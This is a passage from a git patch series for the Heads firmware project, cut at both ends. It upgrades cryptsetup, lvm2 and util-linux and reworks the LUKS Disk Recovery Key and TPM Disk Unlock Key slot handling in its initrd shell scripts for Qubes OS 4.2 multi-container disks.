a/tools/lib/subcmd/subcmd-util.h -+++ b/tools/lib/subcmd/subcmd-util.h -@@ -50,15 +50,8 @@ static NORETURN inline void die(const char *err, ...) - static inline void *xrealloc(void *ptr, size_t size) - { - void *ret = realloc(ptr, size); -- if (!ret && !size) -- ret = realloc(ptr, 1); -- if (!ret) { -- ret = realloc(ptr, size); -- if (!ret && !size) -- ret = realloc(ptr, 1); -- if (!ret) -- die("Out of memory, realloc failed"); -- } -+ if (!ret) -+ die("Out of memory, realloc failed"); - return ret; - } - - diff --git a/patches/linux-5.10.5/shebangs.patch b/patches/linux-5.10.5/shebangs.patch deleted file mode 100644 index 76a73b5d8..000000000 --- a/patches/linux-5.10.5/shebangs.patch +++ /dev/null @@ -1,100 +0,0 @@ -diff --git a/scripts/bloat-o-meter b/scripts/bloat-o-meter -index d7ca46c612b3..652e9542043f 100755 ---- a/scripts/bloat-o-meter -+++ b/scripts/bloat-o-meter -@@ -1,4 +1,4 @@ --#!/usr/bin/python -+#!/usr/bin/env python - # - # Copyright 2004 Matt Mackall - # -diff --git a/scripts/check-sysctl-docs b/scripts/check-sysctl-docs -index 8bcb9e26c7bc..90137319c50a 100755 ---- a/scripts/check-sysctl-docs -+++ b/scripts/check-sysctl-docs -@@ -1,4 +1,4 @@ --#!/usr/bin/gawk -f -+#!/usr/bin/env -S gawk -f - # SPDX-License-Identifier: GPL-2.0 - - # Script to check sysctl documentation against source files -diff --git a/scripts/diffconfig b/scripts/diffconfig -index 89abf777f197..627eba5849b5 100755 ---- a/scripts/diffconfig -+++ b/scripts/diffconfig -@@ -1,4 +1,4 @@ --#!/usr/bin/python -+#!/usr/bin/env python - # SPDX-License-Identifier: GPL-2.0 - # - # diffconfig - a tool to compare .config files. -diff --git a/scripts/get_abi.pl b/scripts/get_abi.pl -index 68dab828a722..92d9aa6cc4f5 100755 ---- a/scripts/get_abi.pl -+++ b/scripts/get_abi.pl -@@ -1,4 +1,4 @@ --#!/usr/bin/perl -+#!/usr/bin/env perl - # SPDX-License-Identifier: GPL-2.0 - - use strict; -diff --git a/scripts/ld-version.sh b/scripts/ld-version.sh -index f2be0ff9a738..7a5b546ece16 100755 ---- a/scripts/ld-version.sh -+++ b/scripts/ld-version.sh -@@ -1,4 +1,4 @@ --#!/usr/bin/awk -f -+#!/usr/bin/env -S awk -f - # SPDX-License-Identifier: GPL-2.0 - # extract linker version number from stdin and turn into single number - { -diff --git a/scripts/parse-maintainers.pl b/scripts/parse-maintainers.pl -index 2ca4eb3f190d..9515765158fa 100755 ---- a/scripts/parse-maintainers.pl -+++ b/scripts/parse-maintainers.pl -@@ -1,4 +1,4 @@ --#!/usr/bin/perl -w -+#!/usr/bin/env -S perl -w - # SPDX-License-Identifier: GPL-2.0 - - use strict; -diff --git a/scripts/show_delta b/scripts/show_delta -index 264399307c4f..28e67e178194 100755 ---- a/scripts/show_delta -+++ b/scripts/show_delta -@@ -1,4 +1,4 @@ --#!/usr/bin/python -+#!/usr/bin/env python - # SPDX-License-Identifier: GPL-2.0-only - # - # show_deltas: Read list of printk messages instrumented with -diff --git a/scripts/sphinx-pre-install b/scripts/sphinx-pre-install -index 40fa6923e80a..828a8615a918 100755 ---- a/scripts/sphinx-pre-install -+++ b/scripts/sphinx-pre-install -@@ -1,4 +1,4 @@ --#!/usr/bin/perl -+#!/usr/bin/env perl - # SPDX-License-Identifier: GPL-2.0-or-later - use strict; - -diff --git a/scripts/split-man.pl b/scripts/split-man.pl -index c3db607ee9ec..96bd99dc977a 100755 ---- a/scripts/split-man.pl -+++ b/scripts/split-man.pl -@@ -1,4 +1,4 @@ --#!/usr/bin/perl -+#!/usr/bin/env perl - # SPDX-License-Identifier: GPL-2.0 - # - # Author: Mauro Carvalho Chehab -diff --git a/scripts/ver_linux b/scripts/ver_linux -index 0968a3070eff..345b92f71d2d 100755 ---- a/scripts/ver_linux -+++ b/scripts/ver_linux -@@ -1,4 +1,4 @@ --#!/usr/bin/awk -f -+#!/usr/bin/env -S awk -f - # SPDX-License-Identifier: GPL-2.0 - # Before running this script please ensure that your PATH is - # typical as you use for compilation/installation. I use From 0cef8e1edc9bf3606b983acc11035ae3430c133f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 16 Aug 2024 15:20:11 -0400 Subject: [PATCH 297/619] cryptsetup2 toolstack version bump and script fixes to support multi-LUKS containers (BTRFS QubesOS 4.2) cryptsetup2 2.6.1 is a new release that supports reencryption of Q4.2 release LUKS2 volumes created at installation. This is a critical feature for the Qubes OS 4.2 release for added data at rest protection Cryptsetup 2.6.x internal changes: - Argon2 used externally and internally: requires a lot of RAM and CPU to derivate passphrase to key validated in key slots. - This is used to rate limit efficiently bruteforcing of LUKS key slots, requiring each offline brute force attempt to consume ~15-30 seconds per attempt - OF course, strong passphrases are still recommended, but bruteforcing LUKSv2 containers with Argon2 would require immense time, ram and CPU even to bruteforce low entropy passphrase/PINs. - passphrase change doesn't permit LUKS key slot specification anymore: key slot rotates (new one consusumed per op: then old one wiped internally. EG: LUKS key slot 1 created, then 0 deleted) - reencryption doesn't permit old call arguments. No more direct-io; inadmissively slow through AIO (async) calls, need workarounds for good enough perfs (arguments + newer kernel with cloudfare fixes in tree) cryptsetup 2.6.1 requires: - lvm2 2.03.23, which is also included in this PR. - requires libaio, which is also included in this PR (could be hacked out but deep dependency at first sight: left in) - requires util-linux 2.39 - patches for reproducible builds are included for above 3 packages. luks-functions was updated to support the new cryptsetup2 version calls/changes - reencryption happen in direct-io, offline mode and without locking, requiring linux 5.10.9+ to bypass linux queues - from tests, this is best for performance and reliability in single-user mode - LUKS container ops now validate Disk Recovery Key (DRK) passphrase prior and DRK key slot prior of going forward if needed, failing early. - Heads don't expect DRK to be in static key slot anymore, and finds the DRK key slot dynamically. - If reencrytipn/passphrase change: make sure all LUKS containers on same block device can be unlocked with same DRK - Reencryption: requires to know which key slot to reencrypt. - Find LUKS key slot that unlocks with DRK passphrase unlock prior of reencrypt call - Passphrase change: no slot can be passed, but key slot of DRK rotates. kexec-seal-key - TPM LUKS Disk Unlock Key key slots have changed to be set in max slots per LUKS version (LUKSv1:7 /LUKSv2: 31) - If key slot != default LUKS version's keyslot outside of DRK key slot: prompt the user before wiping that key slot, otherwise wipe automatically - This takes for granted that the DRK key slot alone is needed on the system and Heads controls the LUKS key slots. - If user has something else going on, ie: Using USB Security dongle + TPM DUK, then the user will need to say no when wiping keys. - It was suggested to leave LUKS key slots outside of DRK alone, but then: what to do when all key slots would be used? - Alternative implementation could be to only prompt users to wipe keyslots other then DRK when key slots are all used (LUKSv1: 0-7, LUKSv2: 0-31) - But then cleanup would need to happen prior of operations (LUKS passphrase change, TPM DUK setup) and could be problematic. - LUKS containers now checked to be same LUKS version prior of permitting to set TPM DUK and will refuse to go forward of different versions. TODO: - async (AIO) calls are not used. direct-io is used instead. libaio could be hacked out - this could be subject to future work Notes: - time to deprecated legacy boards the do not enough space for the new space requirements - x230-legacy, x230-legacy-flash, x230-hotp-legacy - t430-legacy, t430-legacy-flash, t430-hotp-legacy already deprecated Unrelated: - typos fixes found along the way Signed-off-by: Thierry Laurion --- initrd/bin/kexec-save-default | 7 +- initrd/bin/kexec-seal-key | 229 +++++++---- initrd/bin/oem-factory-reset | 25 +- initrd/etc/gui_functions | 3 + initrd/etc/luks-functions | 372 ++++++++++++------ initrd/init | 2 + modules/cryptsetup2 | 17 +- modules/libaio | 19 + modules/lvm2 | 40 +- modules/util-linux | 6 +- ...p2-2.3.3.patch => cryptsetup2-2.6.1.patch} | 360 ++++++++++++----- patches/lvm2-2.03.23.patch | 150 +++++++ patches/util-linux-2.29.2.patch | 139 ------- patches/util-linux-2.39.patch | 276 +++++++++++++ .../x230-hotp-legacy/x230-hotp-legacy.config | 73 ++++ .../x230-legacy-flash.config | 36 ++ .../x230-legacy/x230-legacy.config | 66 ++++ 17 files changed, 1357 insertions(+), 463 deletions(-) create mode 100644 modules/libaio rename patches/{cryptsetup2-2.3.3.patch => cryptsetup2-2.6.1.patch} (72%) create mode 100644 patches/lvm2-2.03.23.patch delete mode 100644 patches/util-linux-2.29.2.patch create mode 100644 patches/util-linux-2.39.patch create mode 100644 unmaintained_boards/x230-hotp-legacy/x230-hotp-legacy.config create mode 100644 unmaintained_boards/x230-legacy-flash/x230-legacy-flash.config create mode 100644 unmaintained_boards/x230-legacy/x230-legacy.config diff --git a/initrd/bin/kexec-save-default b/initrd/bin/kexec-save-default index c7a4f04fa..828e7d984 100755 --- a/initrd/bin/kexec-save-default +++ b/initrd/bin/kexec-save-default @@ -218,16 +218,17 @@ if [ "$CONFIG_TPM" = "y" ] && [ "$CONFIG_TPM_NO_LUKS_DISK_UNLOCK" != "y" ] && [ save_key="y" fi else - DEBUG "No previous LUKS TPM Disk Unlock Key was set up, confirming to add a Disk Encryption Key to the TPM" + DEBUG "No previous LUKS TPM Disk Unlock Key was set up, confirming to add a Disk Unlock Key (DUK) to the TPM" read \ -n 1 \ - -p "Do you wish to add a disk encryption to the TPM [y/N]: " \ + -p "Do you wish to add a disk encryption key to the TPM [y/N]: " \ add_key_confirm + #TODO: still not convinced: disk encryption key? decryption key? everywhere TPM Disk Unlock Key. Confusing even more? echo if [ "$add_key_confirm" = "y" \ -o "$add_key_confirm" = "Y" ]; then - DEBUG "User confirmed desire to add a Disk Encryption Key to the TPM" + DEBUG "User confirmed desire to add a Disk Unlock Key (DUK) to the TPM" save_key="y" fi fi diff --git a/initrd/bin/kexec-seal-key b/initrd/bin/kexec-seal-key index 0481ebb2a..0765d8b9e 100755 --- a/initrd/bin/kexec-seal-key +++ b/initrd/bin/kexec-seal-key @@ -1,15 +1,33 @@ #!/bin/bash -# This will generate a disk encryption key and seal / ecncrypt +# This will generate a disk encryption key and seal / encrypt # with the current PCRs and then store it in the TPM NVRAM. # It will then need to be bundled into initrd that is booted. set -e -o pipefail . /etc/functions +find_drk_key_slot() { + local temp_drk_key_slot="" + local keyslot + + for keyslot in "${luks_used_keyslots[@]}"; do + if [ -z "$temp_drk_key_slot" ]; then + DEBUG "Testing LUKS key slot $keyslot against $DISK_RECOVERY_KEY_FILE for Disk Recovery Key slot..." + if DO_WITH_DEBUG cryptsetup open --test-passphrase --key-slot "$keyslot" --key-file "$DISK_RECOVERY_KEY_FILE" "$dev"; then + temp_drk_key_slot="$keyslot" + DEBUG "Disk Recovery key slot is $temp_drk_key_slot" + break + fi + fi + done + + echo "$temp_drk_key_slot" +} + TPM_INDEX=3 TPM_SIZE=312 -KEY_FILE="/tmp/secret/secret.key" +DUK_KEY_FILE="/tmp/secret/secret.key" TPM_SEALED="/tmp/secret/secret.sealed" -RECOVERY_KEY="/tmp/secret/recovery.key" +DISK_RECOVERY_KEY_FILE="/tmp/secret/recovery.key" . /etc/functions . /tmp/config @@ -23,11 +41,12 @@ fi KEY_DEVICES="$paramsdir/kexec_key_devices.txt" KEY_LVM="$paramsdir/kexec_key_lvm.txt" +key_devices=$(cat "$KEY_DEVICES" | cut -d\ -f1 | tr '\n' ' ') if [ ! -r "$KEY_DEVICES" ]; then die "No devices defined for disk encryption" else - DEBUG "Devices defined for disk encryption: $(cat "$KEY_DEVICES" | cut -d\ -f1 | tr '\n' ' ')" + DEBUG "Devices defined for disk encryption: $key_devices" fi if [ -r "$KEY_LVM" ]; then @@ -44,92 +63,160 @@ fi DEBUG "$(pcrs)" -# LUKS Key slot 0 is the manual recovery pass phrase -# that they user entered when they installed OS, -# key slot 1 is the one that we've generated. -read -s -p "Enter LUKS Disk Recovery Key/passphrase: " disk_password -echo -n "$disk_password" >"$RECOVERY_KEY" -echo -read -s -p "New LUKS TPM Disk Unlock Key passphrase for booting: " key_password -echo -read -s -p "Repeat LUKS TPM Disk Unlock Key passphrase for booting: " key_password2 -echo +luks_drk_passphrase_valid=0 +for dev in $key_devices ; do + attempts=0 + while [ $attempts -lt 3 ]; do + if [ "$luks_drk_passphrase_valid" == "0" ]; then + # Ask for the passphrase only once + read -s -p "Enter LUKS Disk Recovery Key (DRK) passphrase that can unlock: $key_devices: " disk_recovery_key_passphrase + #Using he provided passphrase as the DRK "keyfile" for unattended operations + echo -n "$disk_recovery_key_passphrase" >"$DISK_RECOVERY_KEY_FILE" + echo + fi -if [ "$key_password" != "$key_password2" ]; then - die "Key passphrases do not match" -fi + DEBUG "Testing $DISK_RECOVERY_KEY_FILE keyfile created from provided passphrase against $dev individual key slots" + if cryptsetup open $dev --test-passphrase --key-file "$DISK_RECOVERY_KEY_FILE" >/dev/null 2>&1; then + DEBUG "LUKS device $dev unlocked successfully with the DRK passphrase" + luks_drk_passphrase_valid=1 + break + else + attempts=$((attempts + 1)) + if [ "$attempts" == "3" ] && [ "$luks_drk_passphrase_valid" == "0" ]; then + die "Failed to unlock LUKS device $dev with the provided passphrase. Exiting..." + elif [ "$attempts" != "3" ] && [ "$luks_drk_passphrase_valid" == "1" ]; then + #We failed unlocking with DRK passphrase another LUKS container + die "LUKS device $key_devices cannot all be unlocked with same passphrase. Please make $key_devices devices unlockable with the same passphrase. Exiting" + else + warn "Failed to unlock LUKS device $dev with the provided passphrase. Please try again." + fi + fi + done +done + +attempts=0 +while [ $attempts -lt 3 ]; do + read -s -p "New LUKS TPM Disk Unlock Key passphrase (DUK) for booting: " key_password + echo + read -s -p "Repeat LUKS TPM Disk Unlock Key (DUK) passphrase for booting: " key_password2 + echo + if [ "$key_password" != "$key_password2" ]; then + attempts=$((attempts + 1)) + if [ "$attempts" == "3" ]; then + die "Disk Unlock Key passphrases do not match. Exiting..." + else + warn "Disk Unlock Key passphrases do not match. Please try again." + fi + else + break + fi +done # Generate key file echo "++++++ Generating new randomized 128 bytes key file that will be sealed/unsealed by LUKS TPM Disk Unlock Key passphrase" dd \ if=/dev/urandom \ - of="$KEY_FILE" \ + of="$DUK_KEY_FILE" \ bs=1 \ count=128 \ 2>/dev/null || die "Unable to generate 128 random bytes" -# Count the number of slots used on each device -for dev in $(cat "$KEY_DEVICES" | cut -d\ -f1); do - DEBUG "Checking number of slots used on $dev LUKS header" - #check if the device is a LUKS device with luks[1,2] - # Get the number of key slots used on the LUKS header. - # LUKS1 Format is : - # Slot 0: ENABLED - # Slot 1: ENABLED - # Slot 2: DISABLED - # Slot 3: DISABLED - #... - # Slot 7: DISABLED - # Luks2 only reports on enabled slots. - # luks2 Format is : - # 0: luks2 - # 1: luks2 - # Meaning that the number of slots used is the number of lines returned by a grep on the LUKS2 above format. - # We need to count the number of ENABLED slots for both LUKS1 and LUKS2 - # create regex pattern for both LUKS1 and LUKS2 - regex="Slot [0-9]*: ENABLED" - regex+="\|" - regex+="[0-9]*: luks2" - slots_used=$(cryptsetup luksDump "$dev" | grep -c "$regex" || die "Unable to get number of slots used on $dev") - - DEBUG "Number of slots used on $dev LUKS header: $slots_used" - # If slot1 is the only one used, warn and die with proper messages - if [ "$slots_used" -eq 1 ]; then - # Check if slot 1 is the only one existing - if [ "$(cryptsetup luksDump "$dev" | grep -c "Slot 1: ENABLED")" -eq 1 ] || [ "$(cryptsetup luksDump "$dev" | grep -c "1: luks2")" -eq 1 ]; then - warn "Slot 1 is the only one existing on $dev LUKS header. Heads cannot use it to store TPM sealed LUKS Disk Unlock Key" - warn "Slot 1 should not be the only slot existing on $dev LUKS header. Slot 0 should be used to store LUKS Disk Recovery Key/passphrase" - die "You can safely fix this before continuing through Heads recovery shell: cryptsetup luksAddKey $dev" - fi +previous_luks_header_version=0 +for dev in $key_devices; do + # Check and store LUKS version of the devices to be used later + luks_version=$(cryptsetup luksDump "$dev" | grep "Version" | cut -d: -f2 | tr -d '[:space:]') + if [ "$luks_version" == "2" ] && [ "$previous_luks_header_version" == "1" ]; then + die "$dev: LUKSv2 device detected while LUKSv1 device was detected previously. Exiting..." + fi + + if [ "$luks_version" == "1" ] && [ "$previous_luks_header_version" == "2" ]; then + die "$dev: LUKSv1 device detected while LUKSv2 device was detected previously. Exiting..." + fi + + if [ "$luks_version" == "2" ]; then + # LUKSv2 last key slot is 31 + duk_keyslot=31 + regex="^\s+([0-9]+):\s*luks2" + sed_command="s/^\s\+\([0-9]\+\):\s*luks2/\1/g" + previous_luks_header_version=2 + DEBUG "$dev: LUKSv2 device detected" + elif [ "$luks_version" == "1" ]; then + # LUKSv1 last key slot is 7 + duk_keyslot=7 + regex="Key Slot ([0-9]+): ENABLED" + sed_command='s/Key Slot \([0-9]\+\): ENABLED/\1/' + previous_luks_header_version=1 + DEBUG "$dev: LUKSv1 device detected" else - DEBUG "Slot 1 is not the only existing slot on $dev LUKS header." - DEBUG "$dev LUKS header's slot 1 will store LUKS Disk Unlock Key that TPM will seal/unseal with LUKS TPM Disk Unlock Key passphrase" + die "$dev: Unsupported LUKS version $luks_version" fi -done -# Remove all the old keys from slot 1 -for dev in $(cat "$KEY_DEVICES" | cut -d\ -f1); do - echo "++++++ $dev: Removing old LUKS TPM Disk Unlock Key in LUKS slot 1" - cryptsetup luksKillSlot \ - --key-file "$RECOVERY_KEY" \ - $dev 1 || - warn "$dev: removal of LUKS TPM Disk Unlock Key in LUKS slot 1 failed: might not exist. Continuing" - - echo "++++++ $dev: Adding LUKS TPM Disk Unlock Key to LUKS slot 1" - cryptsetup luksAddKey \ - --key-file "$RECOVERY_KEY" \ - --key-slot 1 \ - $dev "$KEY_FILE" || - die "$dev: Unable to add LUKS TPM Disk Unlock Key to LUKS slot 1" + # drk_key_slot will be the slot number where the passphrase was tested against as valid. We will keep that slot + drk_key_slot="-1" + + # Get all the key slots that are used on $dev + luks_used_keyslots=($(cryptsetup luksDump "$dev" | grep -E "$regex" | sed "$sed_command")) + DEBUG "$dev LUKS key slots: ${luks_used_keyslots[*]}" + + #Find the key slot that can be unlocked with the provided passphrase + drk_key_slot=$(find_drk_key_slot) + + # If we didn't find the DRK key slot, we exit (this should never happen) + if [ "$drk_key_slot" == "-1" ]; then + die "$dev: Unable to find a key slot that can be unlocked with provided passphrase. Exiting..." + fi + + # If the key slot is not the expected DUK o FRK key slot, we will ask the user to confirm the wipe + for keyslot in "${luks_used_keyslots[@]}"; do + if [ "$keyslot" != "$drk_key_slot" ]; then + #set wipe_desired to no by default + wipe_desired="no" + + if [ "$keyslot" != "$drk_key_slot" ] && [ "$keyslot" == "1" ]; then + wipe_desired="yes" + DEBUG "LUKS key slot $keyslot not DRK. Will wipe this DUK key slot silently" + elif [ "$keyslot" != "$drk_key_slot" ] && [ "$keyslot" != "$duk_keyslot" ]; then + # Heads expects key slot LUKSv1:7 or LUKSv2:31 to be used for TPM DUK setup. + # Ask user to confirm otherwise + warn "LUKS key slot $keyslot is not typical ($duk_keyslot expected) for TPM Disk Unlock Key setup" + read -p "Are you sure you want to wipe it? [y/N] " -n 1 -r + echo + # If user does not confirm, skip this slot + if [[ $REPLY =~ ^[Yy]$ ]]; then + wipe_desired="yes" + fi + elif [ "$keyslot" == "$duk_keyslot" ]; then + # If key slot is the expected DUK keyslot, we wipe it silently + DEBUG "LUKS key slot $keyslot is the expected DUK key slot. Will wipe this DUK key slot silently" + wipe_desired="yes" + fi + + if [ "$wipe_desired" == "yes" ] && [ "$keyslot" != "$drk_key_slot" ]; then + echo "++++++ $dev: Wiping LUKS key slot $keyslot" + DO_WITH_DEBUG cryptsetup luksKillSlot \ + --key-file "$DISK_RECOVERY_KEY_FILE" \ + $dev $keyslot || + warn "$dev: removal of LUKS slot $keyslot failed: Continuing" + fi + fi + done + + + echo "++++++ $dev: Adding LUKS TPM Disk Unlock Key to LUKS key slot $duk_keyslot" + DO_WITH_DEBUG cryptsetup luksAddKey \ + --key-file "$DISK_RECOVERY_KEY_FILE" \ + --new-key-slot $duk_keyslot \ + $dev "$DUK_KEY_FILE" || + die "$dev: Unable to add LUKS TPM Disk Unlock Key to LUKS key slot $duk_keyslot" done # Now that we have setup the new keys, measure the PCRs # We don't care what ends up in PCR 6; we just want # to get the /tmp/luksDump.txt file. We use PCR16 # since it should still be zero -cat "$KEY_DEVICES" | cut -d\ -f1 | xargs /bin/qubes-measure-luks || +echo "$key_devices" | xargs /bin/qubes-measure-luks || die "Unable to measure the LUKS headers" pcrf="/tmp/secret/pcrf.bin" @@ -155,13 +242,13 @@ tpmr calcfuturepcr 6 "/tmp/luksDump.txt" >>"$pcrf" tpmr pcrread -a 7 "$pcrf" DO_WITH_DEBUG --mask-position 7 \ - tpmr seal "$KEY_FILE" "$TPM_INDEX" 0,1,2,3,4,5,6,7 "$pcrf" \ + tpmr seal "$DUK_KEY_FILE" "$TPM_INDEX" 0,1,2,3,4,5,6,7 "$pcrf" \ "$TPM_SIZE" "$key_password" || die "Unable to write LUKS TPM Disk Unlock Key to NVRAM" # should be okay if this fails shred -n 10 -z -u "$pcrf" 2>/dev/null || warn "Failed to delete pcrf file - continuing" -shred -n 10 -z -u "$KEY_FILE" 2>/dev/null || +shred -n 10 -z -u "$DUK_KEY_FILE" 2>/dev/null || warn "Failed to delete key file - continuing" mount -o rw,remount $paramsdir || warn "Failed to remount $paramsdir in RW - continuing" diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 35e41ac3a..ca000e50d 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -44,6 +44,12 @@ GPG_ALGO="RSA" # Default RSA key length is 3072 bits for OEM key gen. 4096 are way longer to generate in smartcard RSA_KEY_LENGTH=3072 +#Override RSA_KEY_LENGTH to 2048 bits for Canokey under qemu testing boards until canokey fixes +if [[ "$CONFIG_BOARD_NAME" == qemu-* ]]; then + DEBUG "Overriding RSA_KEY_LENGTH to 2048 bits for Canokey under qemu testing boards" + RSA_KEY_LENGTH=2048 +fi + GPG_USER_NAME="OEM Key" GPG_KEY_NAME=$(date +%Y%m%d%H%M%S) GPG_USER_MAIL="oem-${GPG_KEY_NAME}@example.com" @@ -266,20 +272,20 @@ keytocard_subkeys_to_smartcard() { { echo "key 1" #Toggle on Signature key in --edit-key mode on local keyring echo "keytocard" #Move Signature key to smartcard - echo "1" #Select Signature key keyslot on smartcard + echo "1" #Select Signature key key slot on smartcard echo "${ADMIN_PIN}" #Local keyring Subkey PIN echo "${ADMIN_PIN_DEF}" #Smartcard Admin PIN echo "0" #No expiration date echo "key 1" #Toggle off Signature key echo "key 2" #Toggle on Encryption key echo "keytocard" #Move Encryption key to smartcard - echo "2" #Select Encryption key keyslot on smartcard + echo "2" #Select Encryption key key slot on smartcard echo "${ADMIN_PIN}" #Local keyring Subkey PIN echo "${ADMIN_PIN_DEF}" #Smartcard Admin PIN echo "key 2" #Toggle off Encryption key echo "key 3" #Toggle on Authentication key echo "keytocard" #Move Authentication key to smartcard - echo "3" #Select Authentication key keyslot on smartcard + echo "3" #Select Authentication key slot on smartcard echo "${ADMIN_PIN}" #Local keyring Subkey PIN echo "${ADMIN_PIN_DEF}" #Smartcard Admin PIN echo "key 3" #Toggle off Authentication key @@ -383,6 +389,7 @@ export_public_key_to_thumbdrive_public_partition() { #pass non-empty arguments to --pass, --mountpoint, --device, --mode mount-usb --device "$device" --mode "$mode" --mountpoint "$mountpoint" || die "Error mounting thumb drive's public partition" + #TODO: reuse "Obtain GPG key ID" so that pubkey on public thumb drive partition is named after key ID gpg --export --armor "${GPG_USER_MAIL}" >"$mountpoint"/pubkey.asc || die "Error exporting public key to thumb drive's public partition" umount "$mountpoint" || die "Error unmounting thumb drive's public partition" @@ -879,6 +886,7 @@ report_integrity_measurements clear #Prompt user for use of default configuration options +TRACE_FUNC echo -e -n "Would you like to use default configuration options?\nIf N, you will be prompted for each option [Y/n]: " read -n 1 use_defaults @@ -907,6 +915,7 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then echo if [ "$prompt_output" == "y" \ -o "$prompt_output" == "Y" ]; then + TRACE_FUNC test_luks_current_disk_recovery_key_passphrase luks_new_Disk_Recovery_Key_desired=1 echo -e "\n" @@ -970,8 +979,7 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then echo if [ "$prompt_output" == "y" \ -o "$prompt_output" == "Y" ]; then - echo -e "\nThe chosen custom password must be between 8 and $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" - echo + echo -e "\nThe chosen custom password must be between 8 and $MAX_HOTP_GPG_PIN_LENGTH characters in length." while [[ ${#CUSTOM_SINGLE_PASS} -lt 8 ]] || [[ ${#CUSTOM_SINGLE_PASS} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do echo -e -n "Enter the custom password: " read CUSTOM_SINGLE_PASS @@ -999,8 +1007,8 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then read TPM_PASS done fi - while [[ ${#ADMIN_PIN} -lt 8 ]] || [[ ${#ADMIN_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do - echo -e -n "\nThis PIN should be between 8 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" + while [[ ${#ADMIN_PIN} -lt 6 ]] || [[ ${#ADMIN_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do + echo -e -n "\nThis PIN should be between 6 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" echo -e -n "Enter desired GPG Admin PIN: " read ADMIN_PIN done @@ -1028,6 +1036,7 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then } done #We test that current LUKS Disk Recovery Key passphrase is known prior of going further + TRACE_FUNC test_luks_current_disk_recovery_key_passphrase echo -e "\n" fi @@ -1147,8 +1156,8 @@ fi if [ -n "$luks_new_Disk_Recovery_Key_desired" -a -n "$luks_new_Disk_Recovery_Key_passphrase_desired" ]; then #Reencryption of disk, LUKS Disk Recovery Key and LUKS Disk Recovery Key passphrase change is requested - luks_change_passphrase luks_reencrypt + luks_change_passphrase elif [ -n "$luks_new_Disk_Recovery_Key_desired" -a -z "$luks_new_Disk_Recovery_Key_passphrase_desired" ]; then #Reencryption of disk was requested but not passphrase change luks_reencrypt diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index 38958b1ab..e4b7ed4d5 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -37,6 +37,7 @@ mount_usb() # -- Display related functions -- # Produce a whiptail prompt with 'warning' background, works for fbwhiptail and newt whiptail_warning() { + #TODO: Cannot be called as is under luks_functions with string expension in title: why? if [ -x /bin/fbwhiptail ]; then whiptail $BG_COLOR_WARNING "$@" else @@ -46,6 +47,7 @@ whiptail_warning() { # Produce a whiptail prompt with 'error' background, works for fbwhiptail and newt whiptail_error() { + #TODO: Cannot be called as is under luks_functions with string expension in title: why? if [ -x /bin/fbwhiptail ]; then whiptail $BG_COLOR_ERROR "$@" else @@ -55,6 +57,7 @@ whiptail_error() { # Produce a whiptail prompt of the given type - 'error', 'warning', or 'normal' whiptail_type() { + TRACE_FUNC local TYPE="$1" shift case "$TYPE" in diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index 30e0c4ab9..b7765a7b0 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -7,6 +7,7 @@ #List all LUKS devices on the system list_luks_devices() { + TRACE_FUNC #generate a list of devices to choose from that contain a LUKS header lvm vgscan || true blkid | cut -d ':' -f 1 | while read device; do @@ -267,12 +268,15 @@ prepare_thumb_drive() select_luks_container() { + #TODO: extend logic to prompt for block devices with model if multiple LUKS are found on block device instead of partitions + # Then feed luks with those partitions so that reencrypt and passphrase change can use passphrase to test all selected TRACE_FUNC if [ -s /boot/kexec_key_devices.txt ]; then DEBUG "Reusing known good LUKS container device from /boot/kexec_key_devices.txt" - DEBUG "LUKS container device: $(cut -d ' ' -f1 /boot/kexec_key_devices.txt)" - LUKS=$(cut -d ' ' -f1 /boot/kexec_key_devices.txt) - else + LUKS=$(cut -d ' ' -f1 /boot/kexec_key_devices.txt) + DEBUG "LUKS container device: $(echo $LUKS)" + # LUKS variable not exported yet, prompt for LUKS device + elif [ -z "$LUKS" ]; then list_luks_devices > /tmp/luks_devices.txt #if /tmp/luks_devices.txt exists and is not empty if [ -s /tmp/luks_devices.txt ]; then @@ -280,11 +284,21 @@ select_luks_container() if [ "$FILE" == "" ]; then return 1 else - LUKS=$FILE - detect_boot_device - mount -o remount,rw /boot - echo "$LUKS $(cryptsetup luksUUID $LUKS)" >/boot/kexec_key_devices.txt - mount -o remount,ro /boot + #TODO: What about BRTFS multi LUKS setup of QubesOS? + # if multiple LUKS containers are found on same block device + # select all of the luks containers on same block device instead of just one + # note that block devices for example under /dev/sda will be /dev/sda1, /dev/sda2, etc + # so we need to select all of the partitions on the same block device from /tmp/luks_devices.txt + # and then export them to LUKS variable + # then reencrypt and passphrase change functions will loop on all of the LUKS containers + # and test passphrase on all of them + if grep -q "$(echo $FILE | sed 's/[0-9]*$//')" /tmp/luks_devices.txt; then + DEBUG "Multiple LUKS containers found on same block device, selecting them all" + LUKS=$(grep $(echo $FILE | sed 's/[0-9]*$//') /tmp/luks_devices.txt) + else + DEBUG "Single LUKS container found on block device, assigning to LUKS variable" + LUKS=$FILE + fi fi else warn "No encrypted device found" @@ -295,41 +309,79 @@ select_luks_container() test_luks_current_disk_recovery_key_passphrase() { + #TODO: reuse/generalize usage of this function. Tests for LUKS are still done 4 times independently of this helper TRACE_FUNC while :; do select_luks_container || return 1 + + # LUKS contains multiline string of LUKS containers on same block device + # transform it into words of a same string separated by space + PRINTABLE_LUKS=$(echo $LUKS) + + TRACE_FUNC if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ]; then - #if no external provisioning provides current LUKS Disk Recovery Key passphrase + # if no external provisioning provides current LUKS Disk Recovery Key passphrase echo -e "\nEnter the current LUKS Disk Recovery Key passphrase (Configured at OS installation or by OEM):" read -r luks_current_Disk_Recovery_Key_passphrase echo -n 